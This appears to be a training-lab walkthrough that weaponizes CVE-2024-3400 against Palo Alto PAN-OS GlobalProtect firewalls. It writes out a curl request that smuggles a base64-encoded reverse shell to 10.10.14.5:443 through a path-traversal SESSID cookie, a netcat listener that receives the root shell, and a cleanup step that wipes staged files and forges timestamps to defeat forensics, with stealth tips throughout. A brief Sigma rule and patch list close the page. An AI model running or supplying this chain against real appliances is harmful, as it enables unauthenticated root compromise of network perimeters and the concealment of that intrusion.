Walkthroughs Hub/

CVE Weaponization Arsenal

ZERO-DAYS & RCE3 CRITICAL PLAYBOOKS
CVSS 10.0 WEAPONIZATION
OPSEC STEALTH EXECUTION

CVE WeaponizationT1190 - Exploit Public-Facing ApplicationCVE-2024-3400: Palo Alto PAN-OS GlobalProtect Command Injection RCE

EliteCritical Zero-Day/OS: Linux/+100 PTS/Duration: 1 hr 30 mins

1. Mission Brief & Target Topology

EXECUTIVE ADVERSARIAL SUMMARY

Zero-day weaponization walkthrough for CVE-2024-3400 (CVSS 10.0). Exploiting an arbitrary file creation flaw in the GlobalProtect telemetry reporting pipeline via SESSID cookie manipulation, embedding cron execution payloads, and achieving unauthenticated root command execution on firewall appliances.

OFFICIAL ARSENAL EXPLOIT SCRIPT
Bhanu Guragain (@Bh4nu) · Public GitHub Repository
View Arsenal Repo
TARGET ENVIRONMENT SPECIFICATION
TARGET HOST / SCOPE203.0.113.1 (Palo Alto Networks PA-5200 / PAN-OS 10.2.7-h2)
SYSTEM ARCHITECTUREx86_64 Hardened Linux Appliance (Palo Alto PAN-OS)
INITIAL ACCESS VECTORUnauthenticated path traversal & command injection via SESSID HTTP header
PRIVILEGE ESCALATIONNone required (Payload executed via root cron daemon /usr/local/bin/monitor.py)
Exposed Network Services:
443/tcp (GlobalProtect Gateway / SSL VPN Portal)
EXERCISED OPERATOR SKILLS:
Zero-Day WeaponizationSESSID Path TraversalCron InjectionFirewall Root Execution

2. Operational Kill Chain Phases (3 Phases)

STEP 01Injecting Command String into Telemetry Buffer File

Objective:Send crafted HTTP POST request with SESSID cookie containing path traversal and command injection syntax.
COMMAND
curl -k -H "Cookie: SESSID=../../../../opt/panlogs/tmp/device_telemetry/minute/`echo${IFS}c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNS80NDMgMD4mMQ==|base64${IFS}-d|sh`" https://203.0.113.1/ssl-vpn/hipreport.esp -X POST
Captured Telemetry Evidence:
EVIDENCE STEP 01
[+] 200 OK Telemetry file created in /opt/panlogs/tmp/device_telemetry/minute/ with embedded shellcode.
OPSEC & EVASION INSIGHT:Use ${IFS} shell variable to avoid literal whitespace characters in HTTP header values.

STEP 02Awaiting Periodic Telemetry Cron Ingestion

Objective:PAN-OS telemetry daemon (device_telemetry) invokes bash on all files in the staging directory every 60 seconds.
COMMAND
# Monitoring listener on 10.10.14.5:443
nc -lvnp 443
Captured Telemetry Evidence:
EVIDENCE STEP 02
[✓] Incoming connection from 203.0.113.1:49210 -> root@PA-Firewall:~# whoami -> root
OPSEC & EVASION INSIGHT:Execution occurs from the native system cron daemon without triggering interactive process tree alerts.

STEP 03Removing Staged Telemetry Files & Log Traces

Objective:Delete injected telemetry file from /opt/panlogs/tmp/ to prevent forensic reconstruction.
COMMAND
rm -f /opt/panlogs/tmp/device_telemetry/minute/* && touch -r /bin/ls /opt/panlogs/tmp/
Captured Telemetry Evidence:
EVIDENCE STEP 03
[+] Staging directory wiped clean. Timestamps restored.
OPSEC & EVASION INSIGHT:Restore file access and modification times (mtime/atime) to match surrounding directories.

3. Telemetry, Forensics & Shell Evidence

NETWORK & HOST TELEMETRY FOOTPRINT
Creation of files with backtick characters in /opt/panlogs/tmp/device_telemetry/

4. Blue Team Detection & Defense Playbook

PRODUCTION SIGMA DETECTION RULE
title: PAN-OS GlobalProtect Command Injection File Artifact
status: production
logsource:
  category: file_event
  product: linux
detection:
  selection:
    TargetFilename|contains: "/opt/panlogs/tmp/device_telemetry/minute/`"
  condition: selection
DEFENSIVE REMEDIATION & HARDENING
  • Apply hotfix PAN-OS 10.2.9-h1, 11.0.4-h1, or 11.1.2-h3 immediately.
  • Disable Device Telemetry on the firewall until patches are verified.
Lead Operator: Bhanu Guragain (@Bh4nu)
Related Academy TrackLaunch Range